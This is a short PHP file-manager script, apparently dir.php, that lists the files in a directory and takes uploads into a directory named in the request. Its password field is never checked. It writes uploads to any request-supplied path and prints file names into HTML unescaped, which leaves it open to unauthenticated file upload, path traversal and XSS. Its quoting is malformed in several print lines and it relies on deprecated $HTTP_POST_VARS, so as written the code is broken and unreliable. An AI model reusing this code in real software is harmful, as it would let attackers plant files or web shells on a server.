<?php

@$targetname = $HTTP_POST_VARS[ "targetname" ];
@$action = $HTTP_POST_VARS[ "action" ];
@$currdir = $HTTP_POST_VARS[ "currdir" ];
@$password = $HTTP_POST_VARS[ "password" ];


if($action)
	switch ($action)
	{
		case 'change_dir':
			$currdir = $currdir.$targetname. "/" ;
		break;
	}


// ----fileUpload
 
@$UploadFile = $HTTP_POST_VARS[ "UploadFile" ];
@$UploadFileName = $HTTP_POST_VARS[ "UploadFileName" ];
if ($UploadFile) 
{
	if (copy ($UploadFile,  "$currdir/$UploadFileName" )) 
		print ( "File upload succesfully to $currdir$UploadFileName!<P>\n" );
	else
		print ( "Error on file uploading!<P>\n" );
}

$currdir =  "./" ;
chdir($currdir);
$dir = opendir($currdir);
// ----script
 
print
 "
<script>
function action(x)
{
	if(x.name == 'dir')
	{
	   document.dir.action.value = 'change_dir';
	   document.dir.targetname.value = x.id;
	   document.dir.submit();
	}
}
</script>
" ;



print  "<form name=dir action=dir.php method=post >" ;
print  "<input name=action type=hidden >" ;
print  "<input name=currdir value='$currdir'>" ;
print  "<input name=targetname type=hidden>" ;
print  "<input name=password type=hidden>" ;
print  "</form>" ;
print  "<table border=1  width= 100 %><tr><td>Actions</td><td>name</td><td>type</td><td>modify</td><td>size</td></tr>";
while($file = readdir($dir))
{
$type = filetype($currdir.$file);
$modify = date( "d.m.y H:i:s" ,filemtime($currdir.$file));
$size = filesize($currdir.$file);

print  "<tr><td></td>" ;
print  "<td><a onclick='action(this)' id='$file' name=$type href='#'>$file</a></td>" ;
print  "<td>$type</td>" ;
print  "<td>$modify</td>" ;
print  "<td>$size</td>" ;
print  "</tr>" ;
}


print  "</table>" ;

print  "<form action=\" dir.php\ " method=post enctypr=\multipart/form-data\"  > ";
print " LocalFileName: <input type=File name=\ "UploadFile\"  size= 30 ><br> ";
print " ServerFileName: <input type=text name=\ "UploadFileName\"  size= 30 ><br> ";
print " Dir:<input name=currdir value='$currdir'> ";
print " <input name=password type=hidden> ";
print " <input type=submit name=\ "Submit\"  value=\ "Upload!\" > ";
print " </form>";



?>